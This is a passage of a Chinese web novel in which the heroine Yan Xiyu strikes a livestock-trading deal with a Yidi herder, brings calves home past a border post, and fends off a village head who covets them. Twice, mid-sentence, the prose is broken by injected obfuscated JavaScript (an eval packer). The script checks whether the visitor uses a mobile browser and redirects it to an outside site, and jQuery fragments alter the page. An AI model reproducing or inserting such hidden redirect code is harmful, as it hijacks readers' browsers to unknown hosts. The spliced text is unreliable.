“大多是羊皮子和各种石头,还有活羊,”苗月说,“我也曾经捡过石头让人帮着去换了点丝绸。” “不是你自己去换?”燕惜妤觉得好奇,“难道还有专门的夷狄人先在你们手中拿了货物,再一起拿去和大承商队交易?” 苗月点头:“是,那夷狄人懂大承的语言,所以夷狄百姓若是想去换丝绸,都会把准备好的货物拿去给那人,再由那人拉着货物去边卡那边和大承的商人交易。” 燕惜妤看了一眼达格其:“这样说来,达格其大叔也懂大承的语言,他也可以做这件事。” 达格其和苗月同时一愣,达格其摆手说:“没有大承的商人会信我。” “那为什么会信现在的那个人?”燕惜妤觉得不解,“你和他都是夷狄人,为什么信他不信你?” “因为那人和大承商人认识,”达格其板着脸说,“大承商人最为奸诈,有夷狄人想单独同他们换物,都被骗了。” 被骗?难道是以次充好? “商人都这样,”燕惜妤点点头,“那你们夷狄百姓平日只卖羊和羊皮子,牛和马不卖吗?” “牛和马极少会卖,马匹是夷狄人的脚,在这大草原上,不骑马出不了门,也只有在重要的日子才会宰一头牛,平日我们都只吃羊肉,”苗月说,“草原上烧火都是用的牛粪,若是夷狄百姓没有养牛,别说过不了寒冷的冬天,就是平日的吃食都没柴火烧煮。” 燕惜妤趁机问:“那骆驼呢?你们有骆驼吗?” “我族中有,”达格其不甘心道,“但我被族中赶出来了。” “他家人对他还是好的,虽然族人将他赶了出来,但他家人悄悄给他送来了羊群和毡包中的各种家当,”苗月握住达格其的手说,“我和达格其的日子过得也还好,虽然是远离了族群,但吃穿不愁。” 应该是宗族大于家族,所以就算达格其的家人对他不错,仍然还是无法阻止族人将他给赶了出来。 “吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954533|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿不愁,但达格其大叔不甘心吧?”燕惜妤看着达格其,缓缓道,“达格其大叔,你难道不想带着苗月阿姨回到族群中吗?你的家人都在族群里生活,你被赶出来了,有人欺负他们你都不知道。” “谁敢!”达格其顿时一脸的愤怒,“等我有一日回到族群中,我将他们都拿来喂狼!” “可是达格其大叔你打算怎么回到族群中?”燕惜妤问他,“你被赶出来这么久,你想到办法了吗?” 佟槿方当了十年乞丐,那就说明苗月也是在十年前被卖掉的,她如果没有被卖掉,佟槿方就不会跑出来当乞丐。 这也就间接证明达格其和苗月俩人最起码认识了有十年之久。 达格其被问得哑口无言,他瞪着燕惜妤说:“我是没想到办法,可那又和你有什么关系!” “因为我有办法啊,”燕惜妤看着他,慢条斯理地说,“我有办法能让你带着苗月阿姨回到族群中。” “什么?!你有办法?!”达格其和苗月又是一怔,达格其连忙问,“你、能有什么办法?他们不信我,难道就会信你?” “我不用他们相信,”燕惜妤摇头,然后说,“我从你们这里收羊皮子同活羊,还有石头,然后我带去别的州县卖。” “你?!!”达格其大吃一惊,“你有商队?你难道是大承的女商人?” “我现在不是,只要你能帮我,我就能成为大承的女商人,”燕惜妤看着达格其,眼神很诚挚,“就冲你当年救了我苗月阿姨,我若是当了商人绝对不坑你。” 达格其愣住:“你难道还想坑我?” 苗月却笑了:“燕姑娘一看就不是会骗人的姑娘。” 达格其却用怀疑的眼光看着燕惜妤:“你能当商人,你一个姑娘……” 说着说着,他忽然想到了之前燕惜妤只靠一双手,就能力压大野牛双蹄下跪的事,愣神喃喃自语道:“你是一个有真本事的姑娘。” “有没有本事,等遇到事才能知道,”燕惜妤端起银碗喝了口水,“但要是达格其大叔愿意帮我,你就能再给我苗月阿姨用银子打造更多的银碗银刀,还能让把你赶出族的族人对你另眼相看,日后说不定无数个夷狄族群都由你负责给他们和大承物物交换。” 燕惜妤每说一句,达格其的眼神就亮一分,听到最后,达格其的眼中亮的仿佛有火焰在燃烧。 “燕姑娘,你、真的有办法?!”达格其盯道燕惜妤,“你不骗我,也不骗苗月?” “我或许会骗你,”燕惜妤实话实说,“但我不会骗苗月阿姨,因为瑰方和槿方也救过我的命。” “瑰方和槿方救过你的命?”苗月一怔,“他们……和你是遇到什么事情了?” “我们遇到的事情还真不少,到时候让他们姐弟说给你听,”燕惜妤对苗月笑笑,“不过阿姨你可能不知道,瑰方和槿方都懂医术,他们治好了我的病,我那病若不是他们帮我治好,我也来不了这里。” 达格其忽然问:“苗月的孩子们会治病?” “会,”燕惜妤转头看他,“难道夷狄不仅缺药材,也缺会看病的郎中?” “缺!”达格其重重一点头,神情忽然有些激昂起来,“我若给族里带回俩位郎中,族人一定会同意我带着苗月回族里去。” 燕惜妤却冷冷开口:“不行。” “为什么不行?”达格其立即瞪她。 “我不能用我的朋友来帮你实现你回族群的愿望,”燕惜妤看着他,“你难道就想用这样的方法回去?那不是你的本事,那是佟家姐弟的本事,你可真没用!” “谁说我没用!”达格其被燕惜妤一激,立即就蹦了起来,“我不用苗月的孩儿,我也能带苗月回到族群中去!” “哦,你有什么办法?”燕惜妤瞥他一眼。 达格其眼珠子一转,看着燕惜妤说:“就用你说的方法。” 燕惜妤也看着他:“我说的什么方法?” “我从我族人手中收羊皮子和石头交给你,然后再由你去和大承的百姓以物换物,”达格其盯着燕惜妤,“这是你自己说的,你说过因为苗月和她的孩子所以不会骗我。” 燕姑娘露齿一笑:“达格其大叔,我说话算话。” 85. 第85章 “不过,你们和我以物换物,我只能先付你们一半的货物,”燕惜妤笑眯眯地说,“我手头上没多少银子,需要先压你们一半货物,等我把从你们这边收到的货物卖出去,我才能把剩下的一半货物给你们。” 达格其刚刚还兴奋着的表情顿时就冷静下来,他说:“这位燕姑娘,你这是……是不是就是那个什么白狼?” 空手套白狼? 燕惜妤扬了扬眉稍:“当然不是,我又不是一个铜板都不给,我只是先给一半,再说了,现在是你想要带着我苗月阿姨回到你的族里,我这是在帮你,对吧?” “……你这样说好像也对,”达格其总觉得有哪里不对,但他却又觉得燕惜妤说得是事实。 “达格其大叔,我实话对你说吧,”燕惜妤缓缓收起了笑容,“如果按照我自己的做法,我要是想从你们这里换货物,根本就不用像我说的这么麻烦。” “你难道还有别的方法?”达格其看着她,“你说说看。” “达格其大叔,在我眼里,这整个平原上的牛马羊都随我挑,”燕惜妤勾了勾嘴角,“我可以把你给杀了,你养的牛马羊就全是我的了。” 达格其一怔,就连苗月都愣住了。 “你们被族里赶出来的人,在附近都养着牛马羊,我要是把你们全都杀了,你们养的牛马羊都归我,”燕惜妤一本正经地说,“这个方法对我来说才是最方便的。” “……你、你杀了我们夷狄人,夷狄族人会再次和大承王朝发起战争,你、你真敢做那种事吗?”达格其盯着燕惜妤。 “我杀了你们,没人会发现,”燕惜妤端起银碗慢条斯理地喝了一口水,“最重要的是,我杀了你们,没人会怀疑我。” 达格其紧皱起眉头,他想到刚才看见的燕惜妤,徒手就能制服一头大野牛。再想到她无论是身手还是速度,确实是闻所未闻。他在草原长这么大,从没听长辈说过各族中有哪位勇士能徒手制服一头大野牛。 达格其皱着眉说:“不怀疑你,也会怀疑是你们大承的人做的,战争一样会出现。” “不一定,大承和你们夷狄一族打了几十年的战,如果大承里有人能这么做,早就已经在草原上肆无忌惮地杀你们夷狄人了,”燕惜妤摇头说,“近几年两族一直相安无事,甚至还开始互相有了货物上的交换,没人会在这个时候特意挑起战争,再说了,自古以来,每次都是你们夷狄人先侵袭大承的土地和百姓,我没说错吧?” 达格其张了张嘴,有些气馁地点头:“你们大承地大物博、物产丰沃,有很多我们没有的东西。” 一直以来,确实是夷狄人先挑起的事端,他们骑着马过来抢了就跑,次数多了,越来越贪婪,最终幻想着能占领大承的国土,于是就有了战争。 “因为你们没有,所以你们想方设法地跑来大承这边抢夺,”燕惜妤板着脸说,“我如果杀了你们再抢走你们养的牛马羊,而你们要是说是大承的人做的,没人会信,大家都只会认为是你自己夷狄人的阴谋,是你们先造谣,然后再利用谣言来挑起事端,最后只为了从大承这边得到各种货物。” “……可明明是你说要杀了我们,”达格其盯着燕惜妤说,“还说要抢了我养的牛马羊。” “是,我说了,我想杀你们,没人会发现,”燕惜妤笑笑,“没人发现就是没证据,你们没证据却说是大承的人做的,那你们就是造谣。” “可是、可你抢走了我养的牛马羊,几百头羊你带回去,这就是证据,”达格其终于想到了证据。 “谁说我会一起带回去,我先杀了你们,再将你们养的牛马羊全都放了,让它们和野生的那些牛马羊混在一起,”燕惜妤给他说自己的想法,“然后我隔几日就过来捉几头回去,连你们养的和野生的一起捉,别人只会以为我是捉的野生的,没人会怀疑的。” 达格其忽然说:“……你来我们夷狄的草原,是不是来杀我的族人的?” “我要是想杀你,我就不会跟你过来,”燕惜妤看着他,“我只是在告诉你,不用担心我会骗你,因为杀你很容易,帮你和大承那边以物换物却很难,我既然愿意做困难的事,就说明我没必要骗你。” “……你会不会在中途觉得难,忽然又要杀了我?”达格其半信半疑地看着燕惜妤,“我现在看你老觉得你是要杀我。” 字字句句都不离“杀你很容易”这个意思,让人心里瘆得慌。 “这点你可以放心,”燕惜妤看看苗月,然后说,“我苗月阿姨的孩子是我的救命恩人,我这人不会做恩将仇报的事。” “你说真的?”达格其仍然用怀疑的眼神看着燕惜妤,“你真不会杀我?” “不会,刚才你把牛引向我,我都没杀你,”燕惜妤话中有话地说,“你以后要是再做这种事,或许我就动手了。” 达格其立即转移话题:“你只要羊?要不要牛?” “你们牛也卖?”燕惜妤也不再说之前的事,有些事急不得,“你们不是不卖牛?” “会卖,有些牛不合群,但又还小不能杀,所以会卖掉,”达格其说,“你们大承好像不能吃牛肉吧?” “一般的老百姓吃不起牛肉,而且牛是耕牛,不能杀,杀了是会被衙门捉走的,”燕惜妤还是知道这些事的,因为仲茂他们经常说,“但我可以买回去犁田,我在边地也想开垦荒地来种谷子。” “那你们多种些谷子多制糖,我们的族人也很需要糖,”达格其说,“你真要当女商人?” “我现在又不想当了,”燕惜妤想了想,“我要是抓几头牛回去,多开垦些荒地多种谷子,那我也一样吃穿不愁。” 达格其嗖一下站了起来:“你说话不算数!你明明说了要帮我重回族群!” “那不是先说说嘛,”燕惜妤仰头看他,“你不是没同意。” “我同意了!”达格其大声说,“我同意了!” 燕惜妤看看他,又去看苗月:“苗月阿姨,要不你再劝劝达格其大叔,他有点冲动了。” 苗月摇摇头,温声说:“他相信你,我也相信你。” 燕惜妤垂了垂眼,她虽然相信苗月就是佟家姐弟的亲娘,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967147|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她对达格其和苗月其实还是有戒心的,因为只凭一只十年前缝制的药袋,没办法确认苗月是好还是坏。 不过首先要确定她的身份,这需要佟家姐弟来确认。 “我回去和家里人商量一下,”燕惜妤叹气,“达格其大叔,我原本来这边只是想套几头羊带回去。” 达格其大概是怕她反悔,于是说:“我养羊,送你几头。” “真的?”燕惜妤立即眼睛闪亮地看着他,“真送给我?不收我银子?” “不要你银子,不过外面的野牛群,你要留给我,”达格其盯着燕惜妤,“你把野牛群留给我,我就送你几头羊。” “什么野牛群?”燕惜妤奇怪地看着他,“野牛群哪里是我说留就能留的。” “就在外面,”达格其起到门口,“你可以出去看。” 燕惜妤干是起身走到门口,达格其帮着她掀起当门帘的牛皮。一脚刚迈出去,燕惜妤就和一个大牛头对上了。 “这是……刚才那头大野牛?”燕惜妤仔细看了看眼前这个大牛头,“这牛是不是就是野牛群的头牛?” 达格其也跟着走出来,还伸手指了指一旁说:“是头牛,它还把野牛群也带来了。” 燕惜妤转头一看,不远处果然是一群在慢悠悠吃着草的野牛群。 “它们还跟来了?你怎么不跑?”燕惜妤伸手摸摸头牛的牛角,“长这么一对大牛角,在草原野狼都怕你。” 那头牛也不怕她,就站在她面前,还伸出舌头要嚼她的衣摆。 “哎哎哎,你去吃草,”燕惜妤用力去推牛头。 达格其在旁边很羡慕地说:“野牛野羊群的头牛头羊都是最厉害的,其它的牛和羊都听头牛头羊的,你打败了头牛,头牛就带着牛群跟着你了。” “……我又不是牛,”燕惜妤瞥了他一眼,“我觉得是因为这牛见我刚才没伤害它,所以它才跟着我。” “我们草原是这么说的,你只要打败了头牛,它就会跟着你,”达格其很认真地说,“这个野牛群以后是属于你的了,你带不走,就留给我吧。” 燕惜妤看看他没说话,那头野头就站在她的身边,锋利的两只大牛角时不时蹭过她的手臂,但却没有伤到她。 达格其见她不开口,还以为是她觉得他贪心,刚想解释,燕惜妤忽然就说话了。 “达格其大叔,要不我们合作养牛马羊吧。” “合作?”达格其一愣。 “对,合作,”燕惜妤点点头,“我以后要是再像这样得到野牛马羊群,我都留给你养,等我把它们卖出去,我再给你银子。” “我不卖马,”达格其说,“牛也不多卖。” “可以啊,那我们卖羊,卖羊毛,卖羊乳牛乳,”燕惜妤说,“你负责养,我负责卖。” “那你什么时候再去给我带一群野羊回来?”达格其凑过来说,“养羊最容易。” “我看到就给你带回来,对了,草原上有野狼群,达格其大叔你要养吗?” “……我不养!你也别给我带回来!” 86. 第86章 日头被大山遮住了,夜幕将要降临,山风越吹越冷,夏末秋初的傍晚也感觉到了凉意。 守边卡的将士手握长矛站在木头做的路障前,盯着草原的某个方向看了好几眼,然后冲岗哨房里喊了声:“哥几个出来看看,草原那边有人过来。” 边卡一共有好几个岗哨房,供将士们轮流歇息,让将士们在雨雪天能有个躲避雨雪的地方。 “什么人?”有几个穿着护甲的士兵从岗哨房里走了出来,他们手里都拿有长矛,“是夷狄人?今日没商队过来,他们想干啥?” “有多少人?我去通知姜校尉。” “看着不像是人。”有士兵说了这么一句。 其他士兵顿时盯着他:“闭嘴!” 据说临阜山里除了有各种凶猛野兽,还有传说中的山妖,那山妖会呼风唤雨,隔几年就会下山来吃人。 早两年有守边卡的兵士遇上了山妖,后来那士兵就被山妖给吃了,只被人找到一条穿着鞋的小腿。 “你们真信啊?”那士兵说,“咱少将军说了,那只是少见的山中猛禽,和狼一样都吃人。” “都闭嘴!”另一个士兵说,“盯紧了,要是真来了山妖,我就拿你们喂它!” 其他人顿时不敢再互相打趣了,连忙握紧了手中的长矛。 只见那“不像人”越走越近,士兵们这才看清楚了来的是什么—— 一个头戴箬帽的人,怀中抱着一头小羊羔,脚边跟着一头羊,身后还跟着两头小牛犊,它们的绳子都缠在那人的手腕上,所以都挤在一起走过来,怪不得远远看着不像人。 “站住!”有士兵挥着长矛对准了走过来的人,“你是什么人?” 燕惜妤单手抱着小羊羔,另一只手从怀中取出路引递了过来:“几位守将大人,这是我的路引,麻请过目。” 另一个士兵过来拿走燕惜妤手里路引,走回岗哨房中,从木盒里取出一本册子,然后按照路引上的文字,在册子上翻页寻找了起来。 路引都是一式三份,一份给需要路引的人,另一份留在羿家军营中,最后一份会送到边卡,过边卡的百姓手中的路引需要和册子上书写的内容一致,才准许出入边卡。 在确认路引无误之后,那士兵从岗哨房里出走出问:“你没有出关的记录,你从哪里出去的?” 守边卡的士兵是会轮岗的,出关的百姓有时会出去三两天,就算不是他们在岗时出去的,可册子上应该要有前头在岗士兵的记录,但册子上却没有。 “从那座山过去的,”燕惜妤指了指最大的那座山。 士兵顺着她指的方向看了一眼,发现她指的是临阜山。 “你从临阜山出去的?”有士兵迟疑着开口,“你在山上有没有碰见什么?” “野兽,毒蛇,各种虫子,”燕惜妤想了想,“还有长着翅膀的怪鸟。” “长翅膀的怪鸟?!”士兵们的表情开始变了,“是怎样的怪鸟?” “就是怪鸟,”燕惜妤当时也没留意,她忙着赶路,“看不出哪里是头,翅膀那没几根毛,像都是骨头,不过它能飞,我看见它的时候,它正在地上……拜着什么东西。” 她说一句,士兵的身上就起一层鸡皮疙瘩。 “……拜?”有士兵追问,“拜什么?” “不知道啊,就是在拜,不停地磕,”燕惜妤回想了一下,“估计是给大山磕头,在拜大山吧。” “嘶!”士兵齐齐倒吸了一口凉气,“那东西没有发现你?你是怎么逃出来的?” “我就走出来的啊,”燕惜妤奇怪地看着他们,“就一只怪鸟,身上没几两肉,我又不捉它,我不动它,它不理我,我为什么要逃?” “你真是命大!”那士兵将手里拿着的路引递了回来,“这些牛羊你从哪里得来的?” “我买的,”燕惜妤又拿出了达格其交给她的两块小石牌,“卖给我牛羊的夷狄族大叔说把这个给你们。” 那小石牌是夷狄百姓和大承商队换物的凭证,如果过边卡的大承商队没有小石牌,那商队手中的货物就不是正常交易得来的,极有可能是偷或抢来的,为了防止两国再有战争,大承边卡这边会扣下商队的货物,然后交回给夷狄族人。 士兵接过小石牌,两块小石牌上分别刻有牛头和羊头,这代表过边卡的大承人从夷狄百姓手里买了牛和羊。 “这小石牌你要放好,不要弄丢了,”士兵将小石牌又递了回去,语气有所缓和,“快回去吧,天要黑了。” “多谢几位守将大人,”燕惜妤接过小石牌,抱着小羊羔带着一头羊和两头小牛犊往屯里的方向走去。 守边卡的士兵看着她的背影一个个都有些沉默。 最后有一个士兵忍不住说:“哥几个,那姑娘方才说得怪鸟,难不成就是少将军说的山中猛禽?” “山妖难道真是一只怪鸟?” “我觉得白天是怪鸟,到了夜里……” “到了夜里就变成山妖?!” “……可那怪鸟不是没吃方才那姑娘吗?” “说不定是那怪鸟白天不吃人,到夜里才吃人。” “那也没谁会在夜里跑去临阜山吧。” “是没人去山上,所以山妖才会跑下山吃人。” 士兵们互相看看,又去看看渐黑的四周,哗一下全都挤进了岗哨房里。 走出没多远的燕惜妤听见“嘭”的甩门声,回头看了看,发现刚才经过的边卡这会儿已经没了人。 “夜里他们坐在哨岗亭倒也舒服些,”燕惜妤边说边抱着小羊羔继续向前走。 天虽然黑了,但她带着牛和羊也走不快,不过好在快到了。 到达屯口时,有好些家里有油灯的都燃起了油灯。 燕惜妤牵着牛羊往里走,刚走没几步,就听见了小满儿的声音:“燕姐姐回来了!” 小满儿这一声喊,屯里的人家全都开门出来,燕惜妤瞬间就被围观了。 “燕姑娘这是买了羊和牛犊?” “两头羊,两头牛,这得花老鼻子钱了吧?” “可不!一头牛犊要二十几两银子!” “嘶!这么贵呢!” “也不贵,马匹更贵,不过马和羊还有驴虽然也贵,但可以宰来卖肉,可牛不成,买了要在屯长那里登记,日后要好好喂着,不能卖了换钱。” “哎,花这钱买了多亏啊!” “不亏!有了牛犁田,多少荒地都能给开垦了,有了田地就能种谷子,有了谷子饿不着啊。” “……哎你们说,这两头牛犊是她买的还是从山上抓来的野牛?” 有邻居听见这句话,悄悄地就向屯长家里跑去。 燕惜妤摸黑跟着小满儿回到家里,桑大娘手里抓着柳条正等在院子门外。 小满儿一看见柳条,立即就躲回了里屋,还给关上了门。 燕惜妤笑着说:“阿谦他们三个都跟着一起,连他们一起打一顿吧。” 四个小孩总是喜欢往外跑,天黑了也不回家,家里大人正担心着。 “姑娘回来了,”天黑漆漆的,燕惜妤要是不开声,桑大娘还真没留意,她一心只记挂着几个小孩,“这怀里抱的是什么?” 这时听见燕惜妤声音的人都走了出来,仲茂他们几个正在院子里劈柴。他们没什么事做,整日就不停地在山脚下捡柴火。 边地大山多,人却很少,除了树木还有各种茅草都可以拿来烧火。 “燕姑娘回来了!” “阿妹你回来了!” “可算是回来了!” “……等一下,你后头跟着的是什么?”佟槿方忽然就站定在原地。 这黑漆漆的夜,燕惜妤身旁忽然长着些奇怪的影子,吓得佟槿方差点儿跳起来。 “是小羊羔的娘亲和两头小牛犊,”燕惜妤往旁边走了两步,让大家看见她带回来的牛和羊,“我在夷狄人手里买回来的。” 虽然是达格其送的,但她也给对方留下了一群野牛,也算是互换。 “……你买了两头牛犊?”佟槿方吃惊,“你买了两头?” “是啊,一头不够分,仲茂他们五兄弟呢,”燕惜妤解下手腕上的绳子递给仲茂,“先给你们两头牛犊,等日后我再买几头回来,到时候大家一人一头。” 仲茂傻愣愣地接过绳子:“这要花不少钱吧?” “是啊燕姑娘,有两头可以了,我们也就只剩这一把子力气了,不用买牛,留着银子买别的,”仲二也说,“买别的,不买牛了。” 他们都怕燕惜妤把银钱给花光了,他们没本事赚到银子,要去开荒只能靠自己这一身力气,可是燕姑娘给他们买了牛…… “呜呜呜!”仲二忽然就哭了起来,“燕姑娘,是我们没用,让你拿银子买了牛。” 他一哭,其他人眼中顿时也有了泪水。 他们这些人都只靠着燕惜妤活着,吃的穿的用的,全是她出钱。 可她也还只是一个姑娘,她为了他们去闯那座大山,那大山听说有吃人的妖怪。 “阿妹,你不要去山里了,”罗采春说,“今日有人过来同我们说,那大山里有吃人的妖怪。” “吃人的妖怪?”燕惜妤把小羊羔放在地上, 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“没打起来,现在大承商队经常同他们交换货物,边卡那边的将士都知道,大家日子要是越来越好,没谁会不想要安宁,”燕惜妤出手给罗采春握着,“我和那夷狄人说好了,他帮我养牛马羊,但只卖羊,我负责在大承这边卖羊,赚到银子会分给他,不过他不要银子,他要别的。” 她这话一出口,其他人顿时都愣住了。 等燕惜妤说完,看他们都没说话,以为他们没听清,正想再说一遍,佟槿方忽然开口了。 “你不是去那边抓野牛羊吗?” “是啊,我今日就是去抓野羊的,”燕惜妤点点头。 “……你去抓野羊,怎么回来却说和夷狄人一起养羊了?”佟槿方看着她,“我若是有心疾,得被你吓昏。” “这有什么好吓到的?”燕惜妤不解地看着他,“我抓到野羊群也不能全带回来,留在草原上养着是最好的,那边有草随它们吃。” “野羊群?”佟槿方又是一惊,“我以为你只是想抓几头羊回来卖,没想到你却是要抓一整群羊。” “我本来也是想抓几头羊回来养的,但现在我觉得有人帮我养会更好,”燕惜妤很无奈地说,“看见那么大的草原,还有一群群的野羊,我就想养。” 其他人看着燕惜妤,一时都不知道该说什么。 虽然早就知道她是个很有自己主见的姑娘,也知道她身手了得,但他们不知道她竟然还敢让夷狄人帮她养羊。 “燕姑娘,夷狄人可信吗?”佟瑰方忍不住开口问,“那夷狄人若是带着你辛苦抓来的羊群跑了,你找不到人的。” 燕惜妤看看她,又看看佟槿方,笑笑说:“我不信他,毕竟他非我同族,但我愿意信他一次,因为……他身边的是大承的女子。” “啊!”罗采春惊呼出声,“大承的女子怎能同夷狄蛮族在一起?!” “这个不清楚,”燕惜妤摇头,“日后你们若见到她,你们自己问她,现在我们说的是养羊的事,你们觉得怎么样?” 罗采春几人互相看看,最后一起看向桑大娘。 桑大娘怜惜地看着燕惜妤:“你的三姐,还有我们,不是不愿你同夷狄人一起养羊,我们是怕你在那边会遇见危险,你一人在那边,若是遇见什么事,我们帮不了你。” “是啊,虽然我们也帮不了你什么,可你要是在这边,我们总能帮着想想法子,但你若是在夷狄那边,我们就只能时时刻刻忧心着你,”罗采春拧着眉握紧燕惜妤的手,“阿妹,你再想想,再好好想想吧。” 就在这时,外边传来了梁屯长的声音:“仲茂,可是歇息了?” “屯长怎的这时候过来?”罗采春拧着眉说,“我阿妹刚回来他就找了过来,准没安好心。” “我出去看看,”仲茂走了出去。 佟槿方忽然说:“许是为了那两头牛犊来的。” 罗采春看着他:“咱家买的牛和他有什么关系?” 佟槿方看向仲三,仲三被他一看,忽然就想起来了,他猛地站直了身体:“屯里有人进山抓到一头牛犊,后来被充里充了公,梁屯长难道想抢走咱家的牛?” “他敢!”仲二嗖一下站起来,“他要是敢抢,我就同他拼命!” 这时,仲茂走了进来,他脸色有些阴沉:“燕姑娘,梁屯长说想问问你那两头牛犊是不是在山里抓来的。” 说完,还看了眼仲三,很显然他也听见仲三说的抓来的野牛被充公的事。 “都别急,”桑大娘忽然说,“牛是姑娘买回来的,他们抢不走。” 87. 第87章 “那要是他硬抢呢?”佟槿方低声问,“他是屯长,我们总要给他几分面子。” “没事,我来和他谈,”燕惜妤对仲茂说,“去把梁屯长请进来。” 仲茂转身出去,罗采春下了炕说:“我同佟姑娘去里屋看看几个娃娃。” 她和佟瑰方刚走进里屋,仲茂就带着梁屯长走了进来。 “屯长来了,快请坐,”桑大娘起身要下炕,燕惜妤伸手去扶她。 “大娘你坐着,”梁屯长连忙说,“我打扰你们歇息了吧?” “没打扰,我家姑娘也才刚回来,”桑大娘坐在梁屯长对面,燕惜妤就在她身旁坐下。 “梁屯长这时来,是为了什么?”燕惜妤给梁屯长用碗倒了半碗温水,她们到现在都还没有买喝水的杯子,平日都是拿碗喝水。 “也没啥事,就是听屯里人说你带回了两头牛犊,”梁屯长和睦地说,“我就来问问,是不是有这么回事。” “是有这么回事,那两头牛犊就绑在院子里,梁屯长也看见了,”燕惜妤抬抬下巴指了指门外。 “我是看见了,就是不知燕姑娘是在哪里买的牛,”梁屯长继续追问,“咱这边地也没听说谁家有牛卖。” “我过了边卡,从夷狄人手里买回来的,”燕惜妤从怀中取出了路引和那两块小石牌放在炕桌上,“这是买牛羊的牌子,还有这路引,边卡那边有记录,梁屯长若是不信,可以去边卡问清楚。” “不用问不用问,我当然是信燕姑娘,”梁屯长嘴上说着,但还是拿起了炕桌上放着的路引和牌子看了看,小石牌可以造假,但路引上的记录无法做假。 路引上有边卡士兵的书写记录,这记录不只是写在路引上,同时也写在边卡的册子上,上面写清楚了过边卡的时辰,还有随身所携带的物品。 因为写明了时间,如果要查真假,只要问当时守边卡的士兵,还有对照路引和边卡记录册子上的笔迹,两者只要对上了,那就能证明是真的。 梁屯长看了路引上记录的时辰,正好是日落时分,这个时间的边卡正是士兵最多的时候。因为夜里需要比白日多一倍的士兵,日落时是所有士兵集合的时间,再迟点天就黑了,天一黑危险就会出现,必须加强边卡的守卫。 “燕姑娘莫非和那家商队有旧识,否则怎就能从夷狄人手里买到牛羊,”梁屯长在路引和牌子放回到炕桌上,“要知道住在边地的百姓大多都很害怕夷狄人。” “也不算旧识,”燕惜妤把曾管事搬了出来,“我们在来边地的路上,曾得到过陆家商队曾管事的帮助,曾管事见我们一行有老有幼,还借了马车给我们用了几日。” “哦,燕姑娘还认识陆家商队的曾管事?”梁屯长像是信了燕惜妤说的话,“怪不得能买到两头牛犊,燕姑娘当真是有门路。” “只同路了那么几日,我也不敢说是旧识,”燕惜妤笑笑,“所以买这牛和羊,我也是快空了钱袋的,但不买不行,屯长你也是知道我们的,人多吃的也多,若是再不开垦荒地,到了雪天我们连野菜都吃不上。” 边地这荒凉的地方,天冷的早,雪也下的早,到时大雪封山,就算是门前屋后有再高再大的山,住在这里的人也没地挖野菜,个个都得猫在屋里。 “这倒也是,”梁屯长连连点头,“我这两日也曾想过,你们是该种些秋果秋菜,要不然到了雪天只能问邻里赊来吃。” “我记得屯长说过,荒地是任意我们开垦的,”燕惜妤看着梁屯长,“明日就劳烦屯长带我们过去看看,我虽然是买了两头牛犊,但它们再小,力气也比人大,我们每日少犁些地,也累不坏牛。” “哎好,明日我带仲茂他们过去看看荒地,”都说到这了,梁屯长也该是告辞了,但他仍然坐着没动,“燕姑娘你也晓得,咱屯里的耕牛实在是不多,若是有哪家邻居问你家借家,望燕姑娘能帮帮忙把牛借给大家伙。” “梁屯长,牛借我是想借,可我们人也多,开垦的荒地肯定也多,到时候田里样样事都离不开牛,等事忙完了,人累牛也累,要再把牛借出去,我们也心疼,”燕惜妤一脸为难的表情,“而且这边荒地多,耕牛却没几头,我也不知道该先借给谁,我怕邻里会打架。” “哎燕姑娘放心,有我呢,到时候你把牛给我,我再牵去给屯里的人家用几日,保准不让燕姑娘为难,”梁屯长说出这话的时候,屋里的其他人都瞥了他一眼,尤其是佟槿方,都直接翻白眼了。 这牛才刚买回来,就已经想着该怎么借出去用了。 “梁屯长,这样长久下去也不是办法,”燕惜妤叹了一口气,“你也知道屯里人日后都是指望着田地过活,田里的活计样样都离不开耕牛,收了谷子还要牛车拉,还要牛来拉磨碾皮,我家两头牛总不能日日被借出去吧?” “哎燕姑娘这话说得,”梁屯长一脸的不认同,“你们既然住在了屯里,也就是咱屯里的人了,都说远亲不如近邻,咱屯的这些邻里可都是你的家人,你可不能不帮他们啊。” 佟槿方又偷偷地翻了个白眼,嘴里说得好听,那怎么不见你去买牛给屯里公用。 “这样啊……”燕惜妤有些为难地想了想,然后才说,“既然屯长都这样说了,我总不能不帮屯里人。” “哎好,我就知道燕姑娘是个大气的人,”梁屯长立即说,“既然燕姑娘都同意了,那你家的这两头牛犊,就让我给牵去和屯里的牛一起养着,日后你要用牛你就牵去用,屯里的人家要用也不用总来问你,燕姑娘你说呢?” 仲茂他们几个瞬间就瞪圆了眼睛,只有桑大娘和燕惜妤平静地坐着。 “梁屯长,这事不急,”燕惜妤笑了笑,“我忽然觉得这牛借来借去其实不顶用,屯里住的人家多,牛却没有几头,就算再加上我买的这两头牛,是忙时也是不够分的。” 梁屯长连忙说:“确实是不够分,那燕姑娘是再打算买几头牛回来?” 佟槿方侧着脸继续翻白眼,嘴里还无声地骂了一句。 “梁屯长说笑了,我哪还有银子再买牛,”燕惜妤叹气,“买了这两头牛,我这都快揭不开锅了。” 梁屯长有些失望:“可燕姑娘方才又说……” 燕惜妤手撑在炕桌上,往梁屯长这边倾了倾身体:“屯长,我在荒漠那边看见夷狄人养着不少牛,屯长该知道夷狄人是靠着牛粪烧火煮饭吧?” 